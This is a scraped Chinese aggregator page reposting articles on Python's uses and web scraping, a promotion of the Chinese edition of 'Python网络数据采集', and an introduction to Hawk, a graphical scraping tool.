  相比与其他静态编程语言,如java,c#,C++,python抓取网页文档的接口更简洁;相比其他动态脚本语言,如perl,shell,python的urllib2包提供了较为完整的访问网页文档的API。(当然ruby也是很好的选择)
  此外,抓取网页有时候需要模拟浏览器的行为,很多网站对于生硬的爬虫抓取都是封杀的。这是我们需要模拟user agent的行为构造合适的请求,譬如模拟用户登陆、模拟session/cookie的存储和设置。在python里都有非常优秀的第三方包帮你搞定,如Requests,mechanize
  2)网页抓取后的处理
  抓取的网页通常需要处理,比如过滤html标签,提取文本等。python的beautifulsoap提供了简洁的文档处理功能,能用极短的代码完成大部分文档的处理。
  其实以上功能很多语言和工具都能做,但是用python能够干得最快,最干净。Life is short, u need python.
  二、网站开发
  那开发网站需要用到哪些知识呢?
  1、python基础,因为用python开发的,所以python指定要会,最起码你也得会条件判断,循环,函数,类这些知识;
  2、html、css的基础知识,因为要开发网站,网页都html和css写的,最起码这些知识你得会,就算不会写前端,开发不出来特别漂亮的页面,网站,最起码要能看懂html标签是;
  3、数据库基础知识,因为开发一个网站的话,数据存在哪里,就是在数据库里,那你最起码要会数据库的增删改查吧,要不然怎么存数据,取数据呢
  上面这些知识会的话,开发一个简单的小站就没有问题了,如果想开发比较大型的网站,业务逻辑比较复杂的,那就得用到其他的知识了,比如说redis、MQ等等。
  三、人工智能
  人工智能(Artificial Intelligence),英文缩写为AI。它是研究、开发用于模拟、延伸和扩展人的智能的理论、方法、技术及应用系统的一门新的技术科学。人工智能是计算机科学的一个分支,它企图了解智能的实质,并生产出一种新的能以人类智能相似的方式做出反应的智能机器,该领域的研究包括机器人、语言识别、图像识别、自然语言处理和专家系统等。人工智能从诞生以来,理论和技术日益成熟,应用领域也不断扩大,可以设想,未来人工智能带来的科技产品,将会是人类智慧的“容器”,也可能超过人的智能。
  Python正在成为机器学习的语言。大多数机器语言课程都是使用Python语言编写的,大量大公司使用的也是Python,让许多人认为它是未来的主要编程语言。
  有些人觉得PYTHON效率底,说他不能支持多线程,好吧,这个还有点说对了,但是我想问,看这篇文章的人有几个做过搜索引擎开发?有几个做个上亿PV的并发网站开发?有几个看过LINUX内核源码?如果没有,乖乖先把入门语言学会吧
  四、自动化运维
  Python能满足绝大部分自动化运维的需求,又能做后端C/S架构,又能用WEB框架快速开发出高大上的WEB界面,只有当你自已有能力做出一套运维自动化系统的时候,你的价值才体现出来。
  那么,该怎么学习Python呢?上个简图大概按这个思路走uoz,后面有空再细聊
  

c#抓取网页数据 学完Python后,都能干点什么?

网站优化优采云 发表了文章 • 0 个评论 • 84 次浏览 • 2022-05-10 10:41 • 来自相关话题

  c#抓取网页数据 学完Python后,都能干点什么?
  
  Python是一种全栈的开发语言,你如果能学好Python,前端,后端,测试,大数据分析,爬虫等这些工作你都能胜任。
  当下Python有多火我不再赘述,Python有哪些作用呢?
  
  相比其他静态编程语言,如java,c#,C++,python抓取网页文档的接口更简洁;相比其他动态脚本语言,如perl,shell,python的urllib2包提供了较为完整的访问网页文档的API。
  此外,抓取网页有时候需要模拟浏览器的行为,很多网站对于生硬的爬虫抓取都是封杀的。在python里都有非常优秀的第三方包帮你搞定,如Requests,mechanize。
  抓取的网页通常需要处理,比如过滤html标签,提取文本等。python的beautifulsoap提供了简洁的文档处理功能,能用极短的代码完成大部分文档的处理。
  
  其实以上功能很多语言和工具都能做,但是用python能够干得最快,最干净。
  就目前Python发展而言,Python主要有以下五大主要应用:
  接下来和大家一一聊聊学完python之后可以从事哪些方面的工作:
  Python Web开发工程师:我们都知道Web网站开发一直都是所有互联网公司开发的重点之一,我们离不开互联网,离不开Web技术,利用Python的Web框架可以迅速开发Web应用。
  Python爬虫开发工程师:在当前信息大爆炸时代,大量的信息都通过Web来展示,为了获取这些数据,网络爬虫工程师就应运而生,除了日常的抓取数据和解析数据的需求,还能够突破普通网站常见的反爬虫机制,以及更深层次的爬虫采集算法的编写。
  Python大数据工程师:在大数据时代,数据是公司的核心资产,从杂乱无章的数据中提取有价值的信息或者规律,成为了数据分析师的首要任务,而Python的工具链为这项繁重的工作提供了极高的效率支持。
  Python人工智能工程师:人工智能的迅速发展将深刻改变人类社会生活、改变世界。为抢抓人工智能发展的重大战略机遇,构筑我国人工智能发展的先发优势,加快建设创新型国家和世界科技强国,当前人工智能发展进入新阶段。
  
  Python拥有强大的脚本处理功能,它在操作Linux系统方面具有先天的优势,许多云平台、运维监控管理工具都是使用Python开发的,Python自动化运维让运维工程师的工作量减少效率提高!
  当然也不是说让所有人都去追逐新技术,什么流行学什么。工作或者学习之余,学些热门技术,可以让自己保持敏锐度和竞争力,因为说不好什么时候这些热门技术就成了你的饭碗。 查看全部

  c#抓取网页数据 学完Python后,都能干点什么?
  
  Python是一种全栈的开发语言,你如果能学好Python,前端,后端,测试,大数据分析,爬虫等这些工作你都能胜任。
  当下Python有多火我不再赘述,Python有哪些作用呢?
  
  相比其他静态编程语言,如java,c#,C++,python抓取网页文档的接口更简洁;相比其他动态脚本语言,如perl,shell,python的urllib2包提供了较为完整的访问网页文档的API。
  此外,抓取网页有时候需要模拟浏览器的行为,很多网站对于生硬的爬虫抓取都是封杀的。在python里都有非常优秀的第三方包帮你搞定,如Requests,mechanize。
  抓取的网页通常需要处理,比如过滤html标签,提取文本等。python的beautifulsoap提供了简洁的文档处理功能,能用极短的代码完成大部分文档的处理。
  
  其实以上功能很多语言和工具都能做,但是用python能够干得最快,最干净。
  就目前Python发展而言,Python主要有以下五大主要应用:
  接下来和大家一一聊聊学完python之后可以从事哪些方面的工作:
  Python Web开发工程师:我们都知道Web网站开发一直都是所有互联网公司开发的重点之一,我们离不开互联网,离不开Web技术,利用Python的Web框架可以迅速开发Web应用。
  Python爬虫开发工程师:在当前信息大爆炸时代,大量的信息都通过Web来展示,为了获取这些数据,网络爬虫工程师就应运而生,除了日常的抓取数据和解析数据的需求,还能够突破普通网站常见的反爬虫机制,以及更深层次的爬虫采集算法的编写。
  Python大数据工程师:在大数据时代,数据是公司的核心资产,从杂乱无章的数据中提取有价值的信息或者规律,成为了数据分析师的首要任务,而Python的工具链为这项繁重的工作提供了极高的效率支持。
  Python人工智能工程师:人工智能的迅速发展将深刻改变人类社会生活、改变世界。为抢抓人工智能发展的重大战略机遇,构筑我国人工智能发展的先发优势,加快建设创新型国家和世界科技强国,当前人工智能发展进入新阶段。
  
  Python拥有强大的脚本处理功能,它在操作Linux系统方面具有先天的优势,许多云平台、运维监控管理工具都是使用Python开发的,Python自动化运维让运维工程师的工作量减少效率提高!
  当然也不是说让所有人都去追逐新技术,什么流行学什么。工作或者学习之余,学些热门技术,可以让自己保持敏锐度和竞争力,因为说不好什么时候这些热门技术就成了你的饭碗。

新书推荐 ‖ 《Python网络数据采集》

网站优化优采云 发表了文章 • 0 个评论 • 120 次浏览 • 2022-05-10 10:19 • 来自相关话题

  新书推荐 ‖ 《Python网络数据采集》
  译者:陶俊杰,陈小莉
  定价:59
  网络上的数据量越来越大,单靠浏览网页获取信息越来越困难,如何有效地提取并利用信息已成为一个巨大的挑战。
  本书采用简洁强大的Python语言,介绍了网络数据采集,并为采集新式网络中的各种数据类型提供了全面的指导。第一部分重点介绍网络数据采集的基本原理:如何用Python从网络服务器请求信息,如何对服务器的响应进行基本处理,以及如何以自动化手段与网站进行交互。第二部分介绍如何用网络爬虫测试网站,自动化处理,以及如何通过更多的方式接入网络。
  作者译者
  【Ryan Mitchell】
  数据科学家、软件工程师。目前在波士顿LinkeDrive公司负责开发公司的API和数据分析工具。此前,曾在Abine公司构建网络爬虫和网络机器人。她经常做网络数据采集项目的咨询工作,主要面向金融和零售业。另著有:Instant Web Scraping with Java。
  【陶俊杰】
  长期从事数据分析工作,酷爱Python,每天都和Python面对面,乐此不疲。本科毕业于北京交通大学机电学院,硕士毕业于北京交通大学经管学院。曾就职于中国移动设计院,目前在京东任职。
  【陈小莉】
  长期从事数据分析工作,喜欢Python。本科与硕士毕业于北京交通大学电信学院。目前在中科院从事科技文献与专利分析工作。
  网络数据采集
  什么是网络数据采集
  在互联网上进行自动数据采集这件事和互联网存在的时间差不多一样长。虽然网络数据采集并不是新术语,但是多年以来,这件事更常见的称谓是网页抓屏(screen scraping)、数据挖掘(data mining)、网络收割(Web harvesting)或其他类似的版本。今天大众好像更倾向于用“网络数据采集”,因此我在本书中使用这个术语,不过有时会把网络数据采集程序称为网络机器人(bots)。
  理论上,网络数据采集是一种通过多种手段收集网络数据的方式,不光是通过与API交互(或者直接与浏览器交互)的方式。最常用的方法是写一个自动化程序向网络服务器请求数据(通常是用HTML表单或其他网页文件),然后对数据进行解析,提取需要的信息。
  实践中,网络数据采集涉及非常广泛的编程技术和手段,比如数据分析、信息安全等。本书将在第一部分介绍关于网络数据采集和网络爬行(crawling)的基础知识,一些高级主题放在第二部分介绍。
  为什么要做网络数据采集
  如果你上网的唯一方式就是用浏览器,那么你其实失去了很多种可能。虽然浏览器可以更方便地执行JavaScript,显示图片,并且可以把数据展示成更适合人类阅读的形式,但是网络爬虫收集和处理大量数据的能力更为卓越。不像狭窄的显示器窗口一次只能让你看一个网页,网络爬虫可以让你一次查看几千甚至几百万个网页。
  另外,网络爬虫可以完成传统搜索引擎不能做的事情。用Google搜索“飞往波士顿最便宜的航班”,看到的是大量的广告和主流的航班搜索网站。Google只知道这些网站的网页会显示什么内容,却不知道在航班搜索应用中输入的各种查询的准确结果。但是,设计较好的网络爬虫可以通过采集大量的网站数据,做出飞往波士顿航班价格随时间变化的图表,告诉你买机票的最佳时间。
  你可能会问:“数据不是可以通过API获取吗?”(如果你不熟悉API,请阅读第4章。) 确实,如果你能找到一个可以解决你的问题的API,那会非常给力。它们可以非常方便地向用户提供服务器里格式完好的数据。当你使用像Twitter或维基百科的API时,会发现一个API同时提供了不同的数据类型。通常,如果有API可用,API确实会比写一个网络爬虫程序来获取数据更加方便。但是,很多时候你需要的API并不存在,这是因为:
  •你要收集的数据来自不同的网站,没有一个综合多个网站数据的API;
  •你想要的数据非常小众,网站不会为你单独做一个API;
  •一些网站没有基础设施或技术能力去建立API。
  即使API已经存在,可能还会有请求内容和次数限制,API能够提供的数据类型或者数据格式可能也无法满足你的需求。
  这时网络数据采集就派上用场了。你在浏览器上看到的内容,大部分都可以通过编写Python程序来获取。如果你可以通过程序获取数据,那么就可以把数据存储到数据库里。如果你可以把数据存储到数据库里,自然也就可以将这些数据可视化。
  显然,大量的应用场景都会需要这种几乎可以毫无阻碍地获取数据的手段:市场预测、机器语言翻译,甚至医疗诊断领域,通过对新闻网站、文章以及健康论坛中的数据进行采集和分析,也可以获得很多好处。
  译者序
  每时每刻,搜索引擎和网站都在采集大量信息,非原创即采集。采集信息用的程序一般被称为网络爬虫(Web crawler)、网络铲(Web scraper,可类比考古用的洛阳铲)、网络蜘蛛(Web spider),其行为一般是先“爬”到对应的网页上,再把需要的信息“铲”下来。O’Reilly这本书的封面图案是一只穿山甲,图灵公司把这本书的中文版定名为“Python网络数据采集”。当我们看完这本书的时候,觉得网络数据采集程序也像是一只辛勤采蜜的小蜜蜂,它飞到花(目标网页)上,采集花粉(需要的信息),经过处理(数据清洗、存储)变成蜂蜜(可用的数据)。网络数据采集可以为生活加点儿蜜,亦如本书作者所说,“网络数据采集是为普通大众所喜闻乐见的计算机巫术”。
  网络数据采集大有所为。在大数据深入人心的时代,网络数据采集作为网络、数据库与机器学习等领域的交汇点,已经成为满足个性化网络数据需求的最佳实践。搜索引擎可以满足人们对数据的共性需求,即“我来了,我看见”,而网络数据采集技术可以进一步精炼数据,把网络中杂乱无章的数据聚合成合理规范的形式,方便分析与挖掘,真正实现“我征服”。工作中,你可能经常为找数据而烦恼,或者眼睁睁看着眼前的几百页数据却只能长恨咫尺天涯,又或者数据杂乱无章的网站中满是带有陷阱的表单和坑爹的验证码,甚至需要的数据都在网页版的PDF和网络图片中。而作为一名网站管理员,你也需要了解常用的网络数据采集手段,以及常用的网络表单安全措施,以提高网站访问的安全性,所谓道高一尺,魔高一丈……一念清净,烈焰成池,一念觉醒,方登彼岸,本书试图成为解决这些问题的一念,让你茅塞顿开,船登彼岸。
  网络数据采集并不是一门语言的独门秘籍,Python、Java、PHP、C#、Go等语言都可以讲出精彩的故事。有人说编程语言就是宗教,不同语言的设计哲学不同,行为方式各异,“非我族类,其心必异”,但本着美好生活、快乐修行的初衷,我们对所有语言都时刻保持敬畏之心,尊重信仰自由,努力做好自己的功课。对爱好Python的人来说,人生苦短,Python当歌!简洁轻松的语法,开箱即用的模块,强大快乐的社区,总可以快速构建出简单高效的解决方案。使用Python的日子总是充满快乐的,本书关于Python网络数据采集的故事也不例外。网络数据采集涉及多个领域,内容包罗万象,因此本书覆盖的主题较多,涉及的知识面相对广阔,书中介绍的Python模块有urllib、BeautifulSoup、lxml、Scrapy、PdfMiner、Requests、Selenium、NLTK、Pillow、unittest、PySocks等,还有一些知名网站的API、MySQL数据库、OpenRefine数据分析工具、PhanthomJS无头浏览器以及Tor代理服务器等内容。每行到一处,皆是风景独好,而且作者也为每一个主题提供了深入研究的参考资料。不过,本书关于多进程(multiprocessing)、并发(concurrency)、集群(cluster)等高性能采集主题着墨不多,更加关注性能的读者,可以参考其他关于Python高性能和多核编程的书籍。总之,本书通俗易懂,简单易行,有编程基础的同学都可以阅读。不会Python?抽一节课时间学一下吧。
  目录
  译者序ix
  前言xi
  第一部分创建爬虫
  第1章初见网络爬虫2
  第2章复杂HTML解析11
  第3章开始采集26
  第4章使用API42
  第5章存储数据61
  第6章读取文档80
  第二部分高级数据采集
  第7章数据清洗94
  第8章自然语言处理103
  第9章穿越网页表单与登录窗口进行采集120
  第10章采集JavaScript128
  第11章图像识别与文字处理139
  第12章避开采集陷阱154
  第13章用爬虫测试网站164
  第14章远程采集174
  附录APython简介181
  附录B互联网简介184
  附录C网络数据采集的法律与道德约束188
  作者简介200
  封面介绍200
  活动
  知道你期待这本书好久
  快来说说你对网路数据采集的看法 查看全部

  新书推荐 ‖ 《Python网络数据采集
  译者:陶俊杰,陈小莉
  定价:59
  网络上的数据量越来越大,单靠浏览网页获取信息越来越困难,如何有效地提取并利用信息已成为一个巨大的挑战。
  本书采用简洁强大的Python语言,介绍了网络数据采集,并为采集新式网络中的各种数据类型提供了全面的指导。第一部分重点介绍网络数据采集的基本原理:如何用Python从网络服务器请求信息,如何对服务器的响应进行基本处理,以及如何以自动化手段与网站进行交互。第二部分介绍如何用网络爬虫测试网站,自动化处理,以及如何通过更多的方式接入网络。
  作者译者
  【Ryan Mitchell】
  数据科学家、软件工程师。目前在波士顿LinkeDrive公司负责开发公司的API和数据分析工具。此前,曾在Abine公司构建网络爬虫和网络机器人。她经常做网络数据采集项目的咨询工作,主要面向金融和零售业。另著有:Instant Web Scraping with Java。
  【陶俊杰】
  长期从事数据分析工作,酷爱Python,每天都和Python面对面,乐此不疲。本科毕业于北京交通大学机电学院,硕士毕业于北京交通大学经管学院。曾就职于中国移动设计院,目前在京东任职。
  【陈小莉】
  长期从事数据分析工作,喜欢Python。本科与硕士毕业于北京交通大学电信学院。目前在中科院从事科技文献与专利分析工作。
  网络数据采集
  什么是网络数据采集
  在互联网上进行自动数据采集这件事和互联网存在的时间差不多一样长。虽然网络数据采集并不是新术语,但是多年以来,这件事更常见的称谓是网页抓屏(screen scraping)、数据挖掘(data mining)、网络收割(Web harvesting)或其他类似的版本。今天大众好像更倾向于用“网络数据采集”,因此我在本书中使用这个术语,不过有时会把网络数据采集程序称为网络机器人(bots)。
  理论上,网络数据采集是一种通过多种手段收集网络数据的方式,不光是通过与API交互(或者直接与浏览器交互)的方式。最常用的方法是写一个自动化程序向网络服务器请求数据(通常是用HTML表单或其他网页文件),然后对数据进行解析,提取需要的信息。
  实践中,网络数据采集涉及非常广泛的编程技术和手段,比如数据分析、信息安全等。本书将在第一部分介绍关于网络数据采集和网络爬行(crawling)的基础知识,一些高级主题放在第二部分介绍。
  为什么要做网络数据采集
  如果你上网的唯一方式就是用浏览器,那么你其实失去了很多种可能。虽然浏览器可以更方便地执行JavaScript,显示图片,并且可以把数据展示成更适合人类阅读的形式,但是网络爬虫收集和处理大量数据的能力更为卓越。不像狭窄的显示器窗口一次只能让你看一个网页,网络爬虫可以让你一次查看几千甚至几百万个网页。
  另外,网络爬虫可以完成传统搜索引擎不能做的事情。用Google搜索“飞往波士顿最便宜的航班”,看到的是大量的广告和主流的航班搜索网站。Google只知道这些网站的网页会显示什么内容,却不知道在航班搜索应用中输入的各种查询的准确结果。但是,设计较好的网络爬虫可以通过采集大量的网站数据,做出飞往波士顿航班价格随时间变化的图表,告诉你买机票的最佳时间。
  你可能会问:“数据不是可以通过API获取吗?”(如果你不熟悉API,请阅读第4章。) 确实,如果你能找到一个可以解决你的问题的API,那会非常给力。它们可以非常方便地向用户提供服务器里格式完好的数据。当你使用像Twitter或维基百科的API时,会发现一个API同时提供了不同的数据类型。通常,如果有API可用,API确实会比写一个网络爬虫程序来获取数据更加方便。但是,很多时候你需要的API并不存在,这是因为:
  •你要收集的数据来自不同的网站,没有一个综合多个网站数据的API;
  •你想要的数据非常小众,网站不会为你单独做一个API;
  •一些网站没有基础设施或技术能力去建立API。
  即使API已经存在,可能还会有请求内容和次数限制,API能够提供的数据类型或者数据格式可能也无法满足你的需求。
  这时网络数据采集就派上用场了。你在浏览器上看到的内容,大部分都可以通过编写Python程序来获取。如果你可以通过程序获取数据,那么就可以把数据存储到数据库里。如果你可以把数据存储到数据库里,自然也就可以将这些数据可视化。
  显然,大量的应用场景都会需要这种几乎可以毫无阻碍地获取数据的手段:市场预测、机器语言翻译,甚至医疗诊断领域,通过对新闻网站、文章以及健康论坛中的数据进行采集和分析,也可以获得很多好处。
  译者序
  每时每刻,搜索引擎和网站都在采集大量信息,非原创即采集。采集信息用的程序一般被称为网络爬虫(Web crawler)、网络铲(Web scraper,可类比考古用的洛阳铲)、网络蜘蛛(Web spider),其行为一般是先“爬”到对应的网页上,再把需要的信息“铲”下来。O’Reilly这本书的封面图案是一只穿山甲,图灵公司把这本书的中文版定名为“Python网络数据采集”。当我们看完这本书的时候,觉得网络数据采集程序也像是一只辛勤采蜜的小蜜蜂,它飞到花(目标网页)上,采集花粉(需要的信息),经过处理(数据清洗、存储)变成蜂蜜(可用的数据)。网络数据采集可以为生活加点儿蜜,亦如本书作者所说,“网络数据采集是为普通大众所喜闻乐见的计算机巫术”。
  网络数据采集大有所为。在大数据深入人心的时代,网络数据采集作为网络、数据库与机器学习等领域的交汇点,已经成为满足个性化网络数据需求的最佳实践。搜索引擎可以满足人们对数据的共性需求,即“我来了,我看见”,而网络数据采集技术可以进一步精炼数据,把网络中杂乱无章的数据聚合成合理规范的形式,方便分析与挖掘,真正实现“我征服”。工作中,你可能经常为找数据而烦恼,或者眼睁睁看着眼前的几百页数据却只能长恨咫尺天涯,又或者数据杂乱无章的网站中满是带有陷阱的表单和坑爹的验证码,甚至需要的数据都在网页版的PDF和网络图片中。而作为一名网站管理员,你也需要了解常用的网络数据采集手段,以及常用的网络表单安全措施,以提高网站访问的安全性,所谓道高一尺,魔高一丈……一念清净,烈焰成池,一念觉醒,方登彼岸,本书试图成为解决这些问题的一念,让你茅塞顿开,船登彼岸。
  网络数据采集并不是一门语言的独门秘籍,Python、Java、PHP、C#、Go等语言都可以讲出精彩的故事。有人说编程语言就是宗教,不同语言的设计哲学不同,行为方式各异,“非我族类,其心必异”,但本着美好生活、快乐修行的初衷,我们对所有语言都时刻保持敬畏之心,尊重信仰自由,努力做好自己的功课。对爱好Python的人来说,人生苦短,Python当歌!简洁轻松的语法,开箱即用的模块,强大快乐的社区,总可以快速构建出简单高效的解决方案。使用Python的日子总是充满快乐的,本书关于Python网络数据采集的故事也不例外。网络数据采集涉及多个领域,内容包罗万象,因此本书覆盖的主题较多,涉及的知识面相对广阔,书中介绍的Python模块有urllib、BeautifulSoup、lxml、Scrapy、PdfMiner、Requests、Selenium、NLTK、Pillow、unittest、PySocks等,还有一些知名网站的API、MySQL数据库、OpenRefine数据分析工具、PhanthomJS无头浏览器以及Tor代理服务器等内容。每行到一处,皆是风景独好,而且作者也为每一个主题提供了深入研究的参考资料。不过,本书关于多进程(multiprocessing)、并发(concurrency)、集群(cluster)等高性能采集主题着墨不多,更加关注性能的读者,可以参考其他关于Python高性能和多核编程的书籍。总之,本书通俗易懂,简单易行,有编程基础的同学都可以阅读。不会Python?抽一节课时间学一下吧。
  目录
  译者序ix
  前言xi
  第一部分创建爬虫
  第1章初见网络爬虫2
  第2章复杂HTML解析11
  第3章开始采集26
  第4章使用API42
  第5章存储数据61
  第6章读取文档80
  第二部分高级数据采集
  第7章数据清洗94
  第8章自然语言处理103
  第9章穿越网页表单与登录窗口进行采集120
  第10章采集JavaScript128
  第11章图像识别与文字处理139
  第12章避开采集陷阱154
  第13章用爬虫测试网站164
  第14章远程采集174
  附录APython简介181
  附录B互联网简介184
  附录C网络数据采集的法律与道德约束188
  作者简介200
  封面介绍200
  活动
  知道你期待这本书好久
  快来说说你对网路数据采集的看法

不编程也能爬虫?手把手教你如何从互联网采集海量数据

网站优化优采云 发表了文章 • 0 个评论 • 118 次浏览 • 2022-05-06 08:27 • 来自相关话题

  不编程也能爬虫?手把手教你如何从互联网采集海量数据
  ◆◆◆
  不少朋友都会问:几十万条租房,二手房,薪酬,乃至天气数据都是从哪里来的?其实这些数据在十几分钟内就可以采集到!
  一般我会回答,我用专门的工具,无需编程也能快速抓取。之后肯定又会被问,在哪里能下载这个工具呢?
  最近比较忙乱,说好的一大堆写作任务都还没有完成。授人以鱼不如授人以渔,我做了一个决定,将这套软件全部开源到GitHub。
  免费使用,开放源代码! 从此以后,估计很多做爬虫的工程师要失业了。。。因为我的目标是让普通人也能使用!
  这篇文章介绍爬虫大概的原理,文末会有程序地址。
  ◆◆◆
  什么是爬虫
  什么是爬虫
  互联网是一张大网,采集数据的小程序可以形象地称之为爬虫或者蜘蛛。
  爬虫的原理很简单,我们在访问网页时,会点击翻页按钮和超链接,浏览器会帮我们请求所有的资源和图片。所以,你可以设计一个程序,能够模拟人在浏览器上的操作,让网站误认为爬虫是正常访问者,它就会把所需的数据乖乖送回来。
  爬虫分为两种,一种像百度(黑)那样什么都抓的搜索引擎爬虫。另一种就是开发的,只精确地抓取所需的内容:比如我只要二手房信息,旁边的广告和新闻一律不要。
  爬虫这样的名字并不好听,所以我给这套软件起名为Hawk,指代为"鹰",能够精确,快速地捕捉猎物。基本不需编程,通过图形化拖拽的操作来快速设计爬虫,有点像Photoshop。它能在20分钟内编写大众点评的爬虫(简化版只需3分钟),然后让它运行就好啦、
  下面是使用Hawk抓取二手房的视频,建议在wifi环境下观看:
  ◆◆◆
  自动将网页导出为Excel
  那么,一个页面那么大,爬虫怎么知道我想要什么呢?
  
  人当然可以很容易地看出,上图的红框是二手房信息,但机器不知道。
  网页是一种有结构的树,而重要信息所在的节点,往往枝繁叶茂。 举个不恰当的比方,一大家子人构成树状族谱,谁最厉害?当然是:
  大家就会觉得这一家子太厉害了!
  我们对整个树结构进行打分,自然就能找到那个最牛的节点,就是我们要的表格。找到最牛爸爸之后,儿子们虽然相似:个子高,长得帅,两条胳膊两条腿,但这些都是共性,没有信息量,我们关心的是特性。大儿子锥子脸,跟其他人都不一样,那脸蛋就是重要信息;三儿子最有钱——钱也是我们关心的。 因此,对比儿子们的不同属性,我们就能知道哪些信息是重要的了。
  回到网页采集这个例子,通过一套有趣的算法,给一个网页的地址,软件就会自动地把它转成Excel!(听不懂吧?听不懂正常, 不要在意这些细节!)
  ◆◆◆
  破解翻页限制
  获取了一页的数据,这还不够,我们要获取所有页面的数据!这简单,我们让程序依次地请求第1页,第2页...数据就收集回来了
  就这么简单吗?网站怎么可能让自己宝贵的数据被这么轻松地抓走呢?所以它只能翻到第50页或第100页。链家就是这样:
  
  这也难不倒我们,每页有30个数据,100页最多能呈现3000条数据。北京有16个区县两万个小区,但每个区的小区数量就没有3000个了,我们可分别获取每个区的小区列表。每个小区最多有300多套在售二手房,这样就能获取链家的所有二手房了。
  然后我们启动抓取器,Hawk就会给每个子线程(可以理解为机器人)分配任务:给我抓取这个小区的所有二手房! 然后你就会看到壮观的场面:一堆小机器人,同心协力地从网站上搬数据,超牛迅雷有没有?同时100个任务!!上个厕所回来就抓完了!!!
  
  ◆◆◆
  清洗:识别并转换内容
  获取的数据大概长这样:
  
  但你会看到,里面会有些奇怪的字符应该去去掉。xx平米应该都把数字提取出来。而售价,有的是2130000元,有的是373万元,这些都很难处理。
  BUT,没关系!Hawk能够自动识别所有的数据:
  哈哈,然后你就能够轻松地把这些数据拿去作分析了,纯净无污染!
  ◆◆◆
  破解需要登录的网站
  此处的意思当然不是去破解用户名密码,还没强到那个程度。 有些网站的数据,都需要登录才能访问。这也难不倒我们。
  当你开启了Hawk内置了嗅探功能时,Hawk就像一个录音机一样,会记录你对目标网站的访问操作。之后它就会将其重放出来,从而实现自动登录。
  你会不会担心Hawk保存你的用户名密码?不保存怎么自动登录呢?但是Hawk是开源的,所有代码都经过了审查,是安全的。你的私密信息,只会躺在你自己的硬盘里。
  
  (我们就这样自动登录了大众点评)
  ◆◆◆
  是不是我也可以抓数据了
  理论上是的。但道高一尺魔高一丈,不同的网站千差万别,对抗爬虫的技术也有很多种。而且小虫虫对细节非常敏感,只要错一点,后面的步骤就可能进行不下去了。
  怎么办呢?沙漠君把之前的操作保存并分享出来,你只要加载这些文件就能快速获取数据了。
  如果你有其他网站的获取需求,可以去找你身边的程序员同学,让他们来帮忙抓数据,或让他们来试试Hawk,看看谁的效率更高。
  如果你是文科生妹子,那还是建议你多看看东野奎吾和村上春树,直接上手这么复杂的软件会让你抓狂的。那该找谁帮忙抓数据呢?嘿嘿嘿...
  ◆◆◆
  在哪里获取软件和教程?
  Hawk: Advanced Crawler& ETL tool written in C#/WPF软件介绍
  HAWK是一种数据采集和清洗工具,依据GPL协议开源,能够灵活,有效地采集来自网页,数据库,文件, 并通过可视化地拖拽,快速地进行生成,过滤,转换等操作。其功能最适合的领域,是爬虫和数据清洗。
  Hawk的含义为“鹰”,能够高效,准确地捕杀猎物。
  HAWK使用C# 编写,其前端界面使用WPF开发,支持插件扩展。通过图形化操作,能够快速建立解决方案。
  GitHub地址:
  其Python等价的实现是etlpy:
  笔者专门为其开发的工程文件已公开在GitHub:
  使用时,点击文件,加载工程即可加载。
  不想编译的话,可执行文件在:
  密码:4iy0
  编译路径在:
  Hawk.Core\Hawk.Core.sln
  感谢作者授权转载,稿件部分有变动,作者在大数据文摘的其他投稿点击文末推荐文章查看。
  <strong style="max-width: 100%; line-height: 28px; white-space: normal; color: rgb(61, 170, 214); font-size: 20px; box-sizing: border-box !important; word-wrap: break-word !important;">◆ ◆ ◆</strong> 查看全部

  不编程也能爬虫?手把手教你如何从互联网采集海量数据
  ◆◆◆
  不少朋友都会问:几十万条租房,二手房,薪酬,乃至天气数据都是从哪里来的?其实这些数据在十几分钟内就可以采集到!
  一般我会回答,我用专门的工具,无需编程也能快速抓取。之后肯定又会被问,在哪里能下载这个工具呢?
  最近比较忙乱,说好的一大堆写作任务都还没有完成。授人以鱼不如授人以渔,我做了一个决定,将这套软件全部开源到GitHub。
  免费使用,开放源代码! 从此以后,估计很多做爬虫的工程师要失业了。。。因为我的目标是让普通人也能使用!
  这篇文章介绍爬虫大概的原理,文末会有程序地址。
  ◆◆◆
  什么是爬虫
  什么是爬虫
  互联网是一张大网,采集数据的小程序可以形象地称之为爬虫或者蜘蛛。
  爬虫的原理很简单,我们在访问网页时,会点击翻页按钮和超链接,浏览器会帮我们请求所有的资源和图片。所以,你可以设计一个程序,能够模拟人在浏览器上的操作,让网站误认为爬虫是正常访问者,它就会把所需的数据乖乖送回来。
  爬虫分为两种,一种像百度(黑)那样什么都抓的搜索引擎爬虫。另一种就是开发的,只精确地抓取所需的内容:比如我只要二手房信息,旁边的广告和新闻一律不要。
  爬虫这样的名字并不好听,所以我给这套软件起名为Hawk,指代为"鹰",能够精确,快速地捕捉猎物。基本不需编程,通过图形化拖拽的操作来快速设计爬虫,有点像Photoshop。它能在20分钟内编写大众点评的爬虫(简化版只需3分钟),然后让它运行就好啦、
  下面是使用Hawk抓取二手房的视频,建议在wifi环境下观看:
  ◆◆◆
  自动将网页导出为Excel
  那么,一个页面那么大,爬虫怎么知道我想要什么呢?
  
  人当然可以很容易地看出,上图的红框是二手房信息,但机器不知道。
  网页是一种有结构的树,而重要信息所在的节点,往往枝繁叶茂。 举个不恰当的比方,一大家子人构成树状族谱,谁最厉害?当然是:
  大家就会觉得这一家子太厉害了!
  我们对整个树结构进行打分,自然就能找到那个最牛的节点,就是我们要的表格。找到最牛爸爸之后,儿子们虽然相似:个子高,长得帅,两条胳膊两条腿,但这些都是共性,没有信息量,我们关心的是特性。大儿子锥子脸,跟其他人都不一样,那脸蛋就是重要信息;三儿子最有钱——钱也是我们关心的。 因此,对比儿子们的不同属性,我们就能知道哪些信息是重要的了。
  回到网页采集这个例子,通过一套有趣的算法,给一个网页的地址,软件就会自动地把它转成Excel!(听不懂吧?听不懂正常, 不要在意这些细节!)
  ◆◆◆
  破解翻页限制
  获取了一页的数据,这还不够,我们要获取所有页面的数据!这简单,我们让程序依次地请求第1页,第2页...数据就收集回来了
  就这么简单吗?网站怎么可能让自己宝贵的数据被这么轻松地抓走呢?所以它只能翻到第50页或第100页。链家就是这样:
  
  这也难不倒我们,每页有30个数据,100页最多能呈现3000条数据。北京有16个区县两万个小区,但每个区的小区数量就没有3000个了,我们可分别获取每个区的小区列表。每个小区最多有300多套在售二手房,这样就能获取链家的所有二手房了。
